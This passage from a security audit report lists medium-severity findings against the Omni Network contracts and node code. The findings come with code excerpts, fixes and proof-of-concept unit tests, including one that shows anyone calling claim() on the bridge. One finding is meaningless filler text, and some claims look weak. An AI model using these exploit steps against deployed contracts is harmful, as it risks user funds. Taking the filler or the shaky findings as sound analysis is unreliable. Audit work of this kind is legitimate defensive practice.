    //@audit>> excess fee will be permanently burnt
    payable(BurnAddr).transfer(msg.value);  // Vulnerability: Burns all msg.value
}
```

- Impact
- Users who send more than the required 0.1 ETH will lose the extra amount with no possibility of recovery.
- Burning the excess funds serves no functional purpose, resulting in wasteful fund handling.
- This behavior could lead to unintended losses for users, especially in cases of accidental overpayment, negatively affecting their experience with the protocol.
- Recommendation Modify the `unjail()` function to only accept the exact fee of 0.1 ETH.

3.4.1 MonitorCometOnce uses a fixed value to determine whether the consensus is synced

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description `monitorCometForever` use `cmtNode.ConsensusReactor().WaitSync` to determine whether the consensus is synced, however it's a configuration parameter set during the creation of the Reactor.
- Proof of Concept https://github.com/cometbft/cometbft/blob/4eb7c058dd99c092b932c79d7cae33010f57cad9/internal/consensus/reactor.go#L410-L412

```
// WaitSync returns whether the consensus reactor is waiting for state/block sync.
func (conR *Reactor) WaitSync() bool {
    conR.mtx.RLock()
    defer conR.mtx.RUnlock()
    return conR.waitSync
}
```

`monitorCometOnce` use this function to determine whether the consensus is synced https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/app/monitor.go#L65-L86

```
    netInfo, err := rpcClient.NetInfo(ctx)
    status.setConsensusP2PPeers(netInfo.NPeers)
    if err != nil {
        return 0, errors.Wrap(err, "net info")
    } else if netInfo.NPeers == 0 {
        log.Error(ctx, "Halo has 0 consensus p2p peers", nil)
    }

    synced := !isSyncing() //@audit use a fixed value
```

- Recommendation Per cometBTF document: https://docs.cometbft.com/v0.38/rpc/#/Info/status use StatusClient to get the sync information

```
// StatusClient provides access to general chain info.
type StatusClient interface {
    Status(context.Context) (*ctypes.ResultStatus, error)
}
```

create NewReactor instance

```
    consensusReactor, consensusState := createConsensusReactor(
        config, state, blockExec, blockStore, mempool, evidencePool,
        privValidator, csMetrics, stateSync || blockSync, eventBus, consensusLogger, offlineStateSyncHeight,
    )

....

// NewReactor returns a new Reactor with the given
// consensusState.
func NewReactor(consensusState *State, waitSync bool, options ...ReactorOption) *Reactor {
    conR := &Reactor{
        conS:     consensusState,
        waitSync: waitSync,
        rs:       consensusState.GetRoundState(),
        Metrics:  NopMetrics(),
    }
    conR.BaseReactor = *p2p.NewBaseReactor("Consensus", conR)

    for _, option := range options {
        option(conR)
    }

    return conR
}
```

3.4.2 The splitOutError function can cause a panic due to an index out-of-range error

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The function assumes that every key in the slice has a corresponding value, and it accesses the slice in pairs (key-value). If a key is missing a value (i.e., the slice has an odd number of elements), the function will attempt to access an index beyond the length of the slice, leading to a panic
- Proof of Concept https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/app/sdklog.go#L69-L81

```
func splitOutError(keyvals []any) ([]any, error) {
    var remaining []any
    var err error
    for i := 0; i < len(keyvals); i += 2 {
        if keyErr, ok := keyvals[i+1].(error); ok {
            err = keyErr
        } else {
            remaining = append(remaining, keyvals[i], keyvals[i+1])
        }
    }

    return remaining, err
}
```

test:

```
func TestSplitPanic(t *testing.T) {
    keyvals := []any{
        "key1", "value1",
        "key2", errors.New("first error"),
        "key3", "value3",
        "key4", errors.New("second error"),
        "key5", // No value provided for this key (causes out-of-bounds panic)
    }

    // Call the function
    remaining, err := splitOutError(keyvals)

    // Output the results (this will panic before getting here due to out-of-bounds issue)
    t.Log("Remaining key-value pairs:", remaining)
    t.Log("Error extracted:", err)
}
```

out:

```
=== RUN   TestSplitPanic
--- FAIL: TestSplitPanic (0.00s)
panic: runtime error: index out of range [9] with length 9 [recovered]
        panic: runtime error: index out of range [9] with length 9
```

- Recommendation we should add a bounds check before accessing the key-value pairs in the keyvals slice

3.4.3 `XMsg` could suffer `slow detection` due to `backoff` being stuck at max quickly

Severity: Medium Risk

Context: provider.go#L59-L66

- Description The current backoff for cross-chain XMsg detection starts at 1 sec and is capped at 10 sec. The concern is that once it reach that point, so whenever it calls the backoff function about `5 times` (see PoC), it will have reach the max already, and for the **whole validator lifecycle** (so until the process is restarted), it will remain as high, which might `slowdown XMsg block detection`.

We can see the backoff function is called at multiple places, so it should reach the max pretty quickly in the validator lifecycle.

```
func Stream[E any](ctx context.Context, deps Deps[E], srcChainID uint64, startHeight uint64, callback
↪  Callback[E]) error {
    if deps.FetchWorkers == 0 {
        return errors.New("invalid zero fetch worker count")
    }

    // Define a robust fetch function that fetches a batch of elements from a height (inclusive).
    // It only returns an empty list if the context is canceled.
    // It retries forever on error or if no elements found.
    fetchFunc := func(ctx context.Context, height uint64) []E {
        backoff := deps.Backoff(ctx) // Note that backoff returns immediately on ctx cancel.
        for {
            if ctx.Err() != nil {
                return nil
            }

            fetchCtx, span := deps.StartTrace(ctx, height, "fetch")
            elems, err := deps.FetchBatch(fetchCtx, srcChainID, height)
            span.End()

            if ctx.Err() != nil {
                return nil
            } else if err != nil {
                log.Warn(ctx, "Failed fetching "+deps.ElemLabel+" (will retry)", err, deps.HeightLabel, height)
                deps.IncFetchErr()
                backoff()   //
↪  <-----------------------------------------------BACKOFF---------------------------------------

                continue
            } else if len(elems) == 0 {
                // We reached the head of the chain, wait for new blocks.
                backoff()   //
↪  <-----------------------------------------------BACKOFF---------------------------------------

                continue
            }

            heightsOK := true
            for i, elem := range elems {
                if h := deps.Height(elem); h != height+uint64(i) {
                    log.Error(ctx, "Invalid "+deps.ElemLabel+" "+deps.HeightLabel+" [BUG]", nil,
                        "expect", height,
                        "actual", h,
                    )

                    heightsOK = false
                }
            }
            if !heightsOK { // Can't return invalid elements, just retry fetching for now.
                backoff()  //
↪  <-----------------------------------------------BACKOFF---------------------------------------
                continue
            }

            return elems
        }
    }

    // Define a robust callback function that retries on error.
    callbackFunc := func(ctx context.Context, elem E) error {
        height := deps.Height(elem)
        ctx, span := deps.StartTrace(ctx, height, "callback")
```

```
        defer span.End()
        ctx = log.WithCtx(ctx, deps.HeightLabel, height)

        backoff := deps.Backoff(ctx)

        if err := deps.Verify(ctx, elem, height); err != nil {
            return errors.Wrap(err, "verify")
        }

        // Retry callback on error
        for {
            if ctx.Err() != nil {
                return nil // Don't backoff or log on ctx cancel, just return nil.
            }

            t0 := time.Now()
            err := callback(ctx, elem)
            deps.SetCallbackLatency(time.Since(t0))
            if ctx.Err() != nil {
                return nil // Don't backoff or log on ctx cancel, just return nil.
            } else if err != nil && !deps.RetryCallback {
                deps.IncCallbackErr()
                return errors.Wrap(err, "callback")
            } else if err != nil {
                log.Warn(ctx, "Failed processing "+deps.ElemLabel+" (will retry)", err)
                deps.IncCallbackErr()
                backoff()  //
↪   <-----------------------------------------BACKOFF-------------------------------------

                continue
            }

            deps.SetStreamHeight(height)

            return nil
        }
    }
```

This slowdown could make the voter go routine to always get behing and fall into the following, which will prevent from voting. Note that the window is currently only set to 2.


```
            minimum, ok := v.minWindow(chainVer)
            if ok && attestOffset < minimum {
                // Restart stream, jumping ahead to middle of vote window.
                return errors.New("behind vote window (too slow)", "attest_offset", attestOffset,
↪   "window_minimum", minimum)
            }
```

- Proof of Concept Add the following unit test and run it.

```
func TestSimulatingBackoff(t *testing.T) {
    // Simulating xchain provider backoff
    backoffFunc := func(ctx context.Context) func() {
        // Limit backoff to 10s for all EVM chains.
        const maxDelay = time.Second * 10
        cfg := expbackoff.DefaultConfig
        cfg.MaxDelay = maxDelay

        return expbackoff.New(ctx, expbackoff.With(cfg))
    }

    backoff := backoffFunc(context.Background())

    for i := 0; i < 20; i++ {
        t0 := time.Now()
        backoff()
        log.Printf("(%d) - backoff duration: %f", i, time.Since(t0).Seconds())
    }
}
```

OUTPUT

```
=== RUN   TestSimulatingBackoff
2024/10/20 22:01:52 (0) - backoff duration: 1.000183
2024/10/20 22:01:54 (1) - backoff duration: 1.358495
2024/10/20 22:01:57 (2) - backoff duration: 2.816892
2024/10/20 22:02:01 (3) - backoff duration: 4.251318
2024/10/20 22:02:08 (4) - backoff duration: 7.310467
2024/10/20 22:02:18 (5) - backoff duration: 10.301578
2024/10/20 22:02:29 (6) - backoff duration: 10.268350
2024/10/20 22:02:39 (7) - backoff duration: 10.059163
2024/10/20 22:02:51 (8) - backoff duration: 11.800872
2024/10/20 22:03:00 (9) - backoff duration: 9.443605
2024/10/20 22:03:12 (10) - backoff duration: 11.556289
2024/10/20 22:03:21 (11) - backoff duration: 9.408270
2024/10/20 22:03:29 (12) - backoff duration: 8.060125
2024/10/20 22:03:39 (13) - backoff duration: 10.350175
2024/10/20 22:03:51 (14) - backoff duration: 11.727995
2024/10/20 22:04:01 (15) - backoff duration: 9.733737
2024/10/20 22:04:10 (16) - backoff duration: 8.664279
2024/10/20 22:04:21 (17) - backoff duration: 11.510592
2024/10/20 22:04:31 (18) - backoff duration: 9.605028
2024/10/20 22:04:39 (19) - backoff duration: 8.816714
--- PASS: TestSimulatingBackoff (168.05s)
```

- Recommendation I would suggest to make the protocol more responsive in XMsg detection by decreasing the backoff time when things goes well, instead of being stuck at the max. You can easily do that by using a `Reset function` along side with the backoff function, such that you call Reset when things goes well, which will bring the backoff duration back to 1 sec.

3.4.4 Bbbbbnbnnbnbnbb

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

nkkkjkjkjkkjkkjkjkj

3.4.5 Missing Storage Gap in Upgradeable Contract

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary In upgradeable smart contracts, it is crucial to include a storage gap. This gap ensures that developers can add new state variables in future versions of the contract without disrupting the compatibility of storage layouts with existing contract deployments. Failing to include this gap could lead to serious issues, such as overwriting existing storage slots, resulting in data corruption, unintended behavior, or even complete contract failure.

When upgradeable contracts evolve, new state variables may need to be introduced. If the contract's storage layout is altered without a storage gap, these new variables could overwrite existing ones, potentially leading to unpredictable outcomes. This risk arises because Solidity uses sequential storage slots for state variables, and changes in contract structures (like adding new variables) may unintentionally shift existing variables into different storage locations, causing significant problems.

A clear example of this oversight is found in the OmniPortal contract. This contract inherits from OmniPortalStorage, but there is no storage gap defined in its layout. The lack of this gap increases the risk of future upgrades inadvertently overwriting in-use storage slots, leading to a corrupted or erroneous contract state. Without a storage buffer in place, adding new variables in future upgrades could overwrite critical existing data, leading to unforeseen issues.

ABOUT THE OMNI PORTAL IT MIGHT BE REGARDED AS A KNOWN ISSUE BUT LIGHTCHASER DID NOT CATCH ALL INSTANCES

The AVSStorage.sol lacks storage Gap as well

- Recommendation To prevent potential storage conflicts during contract upgrades, it is recommended to include an explicit storage gap in upgradeable contracts. This can be achieved by reserving unused storage slots at the end of the contract's state variables. For example, adding the

following line will introduce a buffer of 50 storage slots, ensuring there is space for future variables without interfering with the current storage layout:

```
uint256[50] private __gap;
```

This storage gap will act as a protective buffer for future upgrades, helping to maintain storage compatibility and prevent overwriting issues in later versions of the contract.

Refer to the OpenZeppelin documentation on upgradeable contracts for more detailed information on how storage gaps should be implemented to ensure smooth contract upgrades. Incorporating this gap is a best practice that enhances the safety and stability of upgradeable contracts.

3.4.6 Excess Ether Lockup in `xcall` Function

Severity: Medium Risk

Context: OmniPortal.sol#L131-L152

- Summary The `xcall` function in the `OmniPortal` contract does not return excess Ether sent by users. This can lead to user funds being unintentionally locked within the contract.
- Finding Description The `xcall` function does not include logic to return any Ether sent in excess of the calculated fee. As a result, any Ether sent beyond the required fee remains locked in the contract.

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
@=>     require(msg.value >= fee, "OmniPortal: insufficient fee");

        // Missing logic to return excess Ether

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```


- Impact Explanation Users may lose funds if they send more Ether than required, as the excess is not returned.
- Scenario

1. A user intends to use the `xcall` function to make a cross-chain call.
2. The user, either due to a miscalculation or to ensure the transaction is successful, sends more Ether.
3. The `xcall` function processes the transaction and deducts a fee from the Ether sent.
4. The remaining Ether is not returned to the user and remains locked in the contract.

- Proof of Concept Add this to `OmniPortal_xcall.t.sol` and run it `forge test --match-test test_xcall_locksExcessEther -vvvv`

```
    function test_xcall_locksExcessEther() public {
        XTypes.Msg memory xmsg = _outbound_increment();
        uint8 conf = uint8(xmsg.shardId);

        uint256 fee = portal.feeFor(xmsg.destChainId, xmsg.data, xmsg.gasLimit);
        uint256 excessAmount = 1 ether; // Excess Ether to be sent
        uint256 initialBalance = address(portal).balance;

        // Make xcall with excess Ether
        vm.prank(xcaller);
        vm.chainId(thisChainId);
        portal.xcall{ value: fee + excessAmount }(xmsg.destChainId, conf, xmsg.to, xmsg.data, xmsg.gasLimit);

        // Check that some Ether is locked in the contract
        uint256 actualLockedAmount = address(portal).balance - initialBalance;
        require(actualLockedAmount > 0, "No Ether locked in the contract");

        // Emit the events to log the locked Ether amount and fee paid
        emit FeePaid(fee);
        emit EtherLocked(actualLockedAmount);
    }
```

```
log:
     emit FeePaid(fee: 15007400000000 [1.5e13])
     emit EtherLocked(amount: 10000015007400000000 [1e18])
```

- Recommendation Consider, implement logic to return any excess Ether to the sender. This can be achieved by adding a simple check and transfer operation after the fee is deducted.

```
function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
    external
    payable
    whenNotPaused(ActionXCall, destChainId)
{
    require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
    require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
    require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
    require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
    require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

    // conf level will always be last byte of shardId. for now, shardId is just conf level
    uint64 shardId = uint64(conf);
    require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

    uint256 fee = feeFor(destChainId, data, gasLimit);
    require(msg.value >= fee, "OmniPortal: insufficient fee");

    // Return excess Ether to the sender
+   if (msg.value > fee) {
+       payable(msg.sender).transfer(msg.value - fee);
+   }

    outXMsgOffset[destChainId][uint64(conf)] += 1;

    emit XMsg(destChainId, uint64(conf), outXMsgOffset[destChainId][uint64(conf)], msg.sender, to, data,
↪   gasLimit, fee);
}
```

3.4.7 OmniBridgeNative::claim() can be invoked via Non-L1-Bridge xmsg.sender

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `claim()` function in `OmniBridgeNative` is meant to claim OMNI tokens that failed to be withdrawn via `xmsg from OmniBridgeL1`, which is evident from natsepc of the claim() function which specifies:

> `"@notice Claim OMNI tokens that failed to be withdrawn via xmsg from OmniBridgeL1"`

This means the function expects the message to be from `OmniBrdigeL1`, however there is no check in the function that verifies `xmsg.sender == address(l1Bridge)`.

- Impact

Since the required check isn't present to only allow xmsg from OmniBridgeL1, it violates the expected code behavior and allows anyone to call the `claim()` function. Refer to the Proof Of Concept section.

- Proof of Concept

Create a file named `ClaimCallableByAnyone.t.sol` and add it to `contracts\core\test\token`, the file path is necessary because it inherits `OmniBridgeNative_Test` from `contracts\core\test\token\OmniBridgeNative.t.sol` test file.

<details> <summary>Proof Of Concept</summary>

`contracts\core\test\token\ClaimCallableByAnyone.t.sol`


```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.24;

import { OmniBridgeNative_Test, OmniBridgeNative } from "./OmniBridgeNative.t.sol";
import { console } from "forge-std/console.sol";

contract Receiver {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    fallback() external {
        revert("Pwner_Receiver: NOT ALLOWED");
    }

    receive() external payable {
        revert("Pwner_Receiver: NOT ALLOWED");
    }
}

contract ClaimCallableByAnyone is OmniBridgeNative_Test {
    Receiver receiver = new Receiver();

    function test_claim_from_non_l1bridge_xmsg_sender() public {
        address pwner = makeAddr("pwner");
        address pwner_receiver = address(receiver);
        uint256 amount = 1e18;
        uint256 l1BridgeBalance = 100e18;
        uint64 gasLimit = l1Bridge.XCALL_WITHDRAW_GAS_LIMIT();

        http://vm.deal(address(pwner), 1e18);

        // @note - deliberately make the withdraw call fail, which will show that claim executes successfully.
        portal.mockXCall({
            sourceChainId: l1ChainId, // wrong
            sender: address(l1Bridge),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.withdraw, (pwner, pwner_receiver, amount, l1BridgeBalance)),
            gasLimit: gasLimit
        });

        portal.mockXCall({
```

```
            sourceChainId: l1ChainId,
            sender: pwner,
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.claim, (pwner)),
            gasLimit: gasLimit
        });
    }
}
```

</details>

<details> <summary>Running PoC Test File :</summary>

Execute the command to run test:

```
forge test --mt test_claim_from_non_l1bridge_xmsg_sender -vvvv
```

Results of Running the test

```
$ forge test --mt test_claim_from_non_l1bridge_xmsg_sender -vvvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/token/ClaimCallableByAnyone.t.sol:ClaimCallableByAnyone
[PASS] test_claim_from_non_l1bridge_xmsg_sender() (gas: 123352)
Traces:
  [159455] ClaimCallableByAnyone::test_claim_from_non_l1bridge_xmsg_sender()
    [0] VM::addr(&lt;pk&gt;) [staticcall]
        [Return] pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f]
    [0] VM::label(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], "pwner")
        [Return]
    [271] OmniBridgeL1::XCALL_WITHDRAW_GAS_LIMIT() [staticcall]
        [Return] 80000 [8e4]
    [0] VM::deal(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], 1000000000000000000 [1e18])
        [Return]
    [100776] MockPortal::mockXCall(1, OmniBridgeL1: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a],
↪  TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪  0x7bfe950c0000000000000000000000000d13781789acab73dfdce29003ea7f95cfd3260f0000000000000000000000005615deb7
↪  98bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000
↪  0000000000000000000000000000000000000056bc75e2d63100000, 80000
↪  [8e4])
        [71888] TransparentUpgradeableProxy::withdraw(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f],
↪  Receiver: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1000000000000000000 [1e18], 10000000000000000000
↪  [1e20])
            [66928] OmniBridgeNativeHarness::withdraw(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f],
↪  Receiver: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1000000000000000000 [1e18], 10000000000000000000
↪  [1e20]) [delegatecall]
              [506] MockPortal::xmsg() [staticcall]
                  [Return] MsgContext({ sourceChainId: 1, sender: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a })
              [161] Receiver::receive{value: 1000000000000000000}()
                  [Revert] revert: Pwner_Receiver: NOT ALLOWED
              emit Withdraw(payor: pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], to: Receiver:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], amount: 1000000000000000000 [1e18], success: false)
              [Stop]
            [Return]
        [Return] 74747 [7.474e4]
    [34608] MockPortal::mockXCall(1, pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f],
↪  TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪  0x1e83409a0000000000000000000000000d13781789acab73dfdce29003ea7f95cfd3260f, 80000 [8e4])
        [12238] TransparentUpgradeableProxy::claim(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
          [11793] OmniBridgeNativeHarness::claim(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
↪  [delegatecall]
              [506] MockPortal::xmsg() [staticcall]
                  [Return] MsgContext({ sourceChainId: 1, sender: 0x0D13781789Acab73dFdcE29003ea7F95cfd3260f })
              [0] pwner::fallback{value: 1000000000000000000}()
                  [Stop]
              emit Claimed(claimant: pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], to: pwner:
↪  [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], amount: 1000000000000000000 [1e18])
              [Stop]
            [Return]
        [Return] 12579 [1.257e4]
    [Stop]
```

```
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.15ms (213.30s CPU time)

Ran 1 test suite in 6.47ms (1.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

</details>

`Observation`: In PoC, the call to `withdraw()` function is made to fail deliberately by denying receive of ether, to set the `claimable` mapping, that will allow for successfully executing the `claim()` function, which violates the doc/natspec that specifies: > `"@notice Claim OMNI tokens that failed to be withdrawn via xmsg from OmniBridgeL1"`

- Recommendation

Add a check to verify that `xmsg.sender == l1Bridge`:

```
    function claim(address to) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

+       require(xmsg.sender == address(l1Bridge),"OmniBridge: xmsg not from L1-Bridge");
        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
        require(to != address(0), "OmniBridge: no claim to zero");

        address claimant = xmsg.sender;
        require(claimable[claimant] &gt; 0, "OmniBridge: nothing to claim");

        uint256 amount = claimable[claimant];
        claimable[claimant] = 0;

        (bool success,) = to.call{ value: amount }("");
        require(success, "OmniBridge: transfer failed");

        emit Claimed(claimant, to, amount);
    }
```


3.4.8 `OmniPortal#xsubmit` is prone to denial of service

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The current implementation of `OmniPortal` has an outbound function `xcall` and an inbound function `xsubmit`. Both are marked as `external` and have no restrictions in terms of the caller.
- `xcall` enforces a `xmsgMinGasLimit` per message, making it expensive to perform such spam attacks.

contracts/core/src/xchain/OmniPortal.sol

```
require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
```

- `xsubmit` does not have such a restriction. An attacker could spam small valid `xsubs` to cause a denial of service attack on the network.

contracts/core/src/xchain/OmniPortal.sol

```
/**
     * @notice Submit a batch of XMsgs to be executed on this chain
     * @param xsub  An xchain submission, including an attestation root w/ validator signatures,
     *              and a block header and message batch, proven against the attestation root.
     */
    function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
        XTypes.Msg[] calldata xmsgs = xsub.msgs;
        XTypes.BlockHeader calldata xheader = xsub.blockHeader;
        uint64 valSetId = xsub.validatorSetId;

        require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
```

```
        require(xmsgs.length > 0, "OmniPortal: no xmsgs");
        require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
        require(valSetId >= _minValSet(), "OmniPortal: old val set");

        // check that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId
        require(
            Quorum.verify(
                xsub.attestationRoot,
                xsub.signatures,
                valSet[valSetId],
                valSetTotalPower[valSetId],
                XSubQuorumNumerator,
                XSubQuorumDenominator
            ),
            "OmniPortal: no quorum"
        );

        // check that blockHeader and xmsgs are included in attestationRoot
        require(
            XBlockMerkleProof.verify(xsub.attestationRoot, xheader, xmsgs, xsub.proof, xsub.proofFlags),
            "OmniPortal: invalid proof"
        );

        // execute xmsgs
        for (uint256 i = 0; i < xmsgs.length; i++) {
            _exec(xheader, xmsgs[i]);
        }
    }
```

Each submission would pass the basic checks (non-zero message count, valid consensus chain ID, etc.) and proceed to more computationally expensive operations like quorum verification and Merkle proof checks.

- Recommendation

There are few ways to fix this e.g, enforce `xsubMinGasLimit` per submission similar to `xmsgMinGasLimit` in `xcall`.

3.4.9 `OmniPortal#xcall` overcharges fees in case of `omni<>omni` calls

Severity: Medium Risk

Context: FeeOracleV2.sol#L69

- Description The `OmniPortal#xcall` function currently uses a uniform fee calculation method for all cross-chain calls, including those between Omni and itself. However, Omni is an L1 chain and doesn't incur data availability (DA) fees like L2 rollups do.

contracts/core/src/xchain/OmniPortal.sol

```
    /**
     * @notice Call a contract on another chain.
     * @param destChainId   Destination chain ID
     * @param conf          Confirmation level
     * @param to            Address of contract to call on destination chain
     * @param data          ABI Encoded function calldata
     * @param gasLimit      Execution gas limit, enforced on destination chain
     */
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

It calls `feeFor` to get the fee from the corresponding oracle. In both oracle versions there is a check for the data fee existance:

v1, v2

```
require(_dataGasPrice > 0, "FeeOracleV2: no fee params");
```

The additional charged data fee is calculated as follows:

```
        uint256 dataGasPrice = dataP.gasPrice * dataP.toNativeRate / CONVERSION_RATE_DENOM;
```

As we see, the `xcall` function calculates fees using the `feeFor` function. This method includes a data fee component, which overcharges users for cross-chain calls that do not require data availability fees i,e `Omni<>Omni`

- Recommendation

```
function feeFor(uint64 destChainId, bytes calldata data, uint64 gasLimit) external view returns (uint256) {
    IFeeOracleV2.FeeParams storage p = _feeParams[destChainId];

    uint256 _execGasPrice = p.execGasPrice * p.toNativeRate / CONVERSION_RATE_DENOM;
    uint256 _dataGasPrice = p.dataGasPrice * p.toNativeRate / CONVERSION_RATE_DENOM;

    require(_execGasPrice > 0, "FeeOracleV2: no fee params");

    uint256 fee = protocolFee + (baseGasLimit + gasLimit) * _execGasPrice;

+   // Only add data fee for non-Omni destinations
+    if (destChainId != OMNI_CHAIN_ID) {
        require(_dataGasPrice > 0, "FeeOracleV2: no fee params");
        uint256 dataGas = data.length * 16;
        fee += dataGas * _dataGasPrice;
     }

    return fee;
}
```

3.4.10 Excess ether burning on the _burnFee function

Severity: Medium Risk

Context: Slashing.sol#L43-L45

This function does not handle excess ether being sent by user without checking excess amount being sent. This means the function can burn more than the required fee being sent by user.

A user may likely deposit 10 ether to the contract assuming the required stated fee which is 0.1 ether will be deducted and expecting a refund but reverse would be the case. So this could leads to potential financial loss for the user.

Recommendation: Consider adding a mechanism that handles refund for user if excess amount is being sent.

uint excess = msg.value - fee;

The same issue in the createValidator function

3.4.11 Use call instead of transfer

Severity: Medium Risk

Context: Slashing.sol#L45

The transfer() and send() functions forward a fixed amount of 2300 gas. Historically, it has often been recommended to use these functions for value transfers to guard against reentrancy attacks. However, the gas cost of EVM instructions may change significantly during hard forks which may break already deployed contract systems that make fixed assumptions about gas costs. For example. EIP 1884 broke several existing smart contracts due to a cost increase of the SLOAD instruction.

Implications: 1)Multi-sig wallets cant use this contract as they require a more than 2300 gas limit

3.4.12 Lack of Public Key Validation in Validator Registration

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Staking.sol

The Staking contract allows validators to be created via the createValidator function. However, there is no strict validation of the provided public key, aside from a length check. This absence of proper validation on the public key opens the system to potential security risks where malicious actors could register invalid or compromised public keys. This could significantly impact the integrity and security of the staking mechanism.

Location Contract: Staking Function: createValidator

```
function createValidator(bytes calldata pubkey) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
    require(pubkey.length == 33, "Staking: invalid pubkey length");
    require(msg.value >= MinDeposit, "Staking: insufficient deposit");

    emit CreateValidator(msg.sender, pubkey, msg.value);
}
```

- Impact function createValidator(bytes calldata pubkey) external payable { require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed"); require(pubkey.length == 33, "Staking: invalid pubkey length"); require(msg.value >= MinDeposit, "Staking: insufficient deposit");

  emit CreateValidator(msg.sender, pubkey, msg.value); }

Consensus Failure: The submission of invalid public keys could lead to the breakdown of the staking mechanism or the consensus process, as validators play a key role in maintaining network security and confirming transactions.

Network Security Risks: A compromised or intentionally malicious validator with an invalid public key could potentially manipulate the staking mechanism, resulting in incorrect block validations or the potential for double-spending attacks

- Exploit Scenario: A malicious actor submits a validator registration with a malformed public key. The public key is accepted without further validation. This invalid validator is now part of the staking mechanism, potentially leading to failures in consensus or malicious behavior during the block validation process. Other nodes in the network may face issues communicating with the malicious validator, causing a network-wide denial of service.
- Recommendation **Strict Public Key Validation:** Implement proper validation checks for the public key, ensuring it follows the correct format and contains valid cryptographic material (e.g., a valid Secp256k1 public key). Consider using on-chain verification or integration with off-chain verification services for added security.

Signature Verification: Require validators to provide a signed message during registration, ensuring the public key they submit is associated with a legitimate private key.

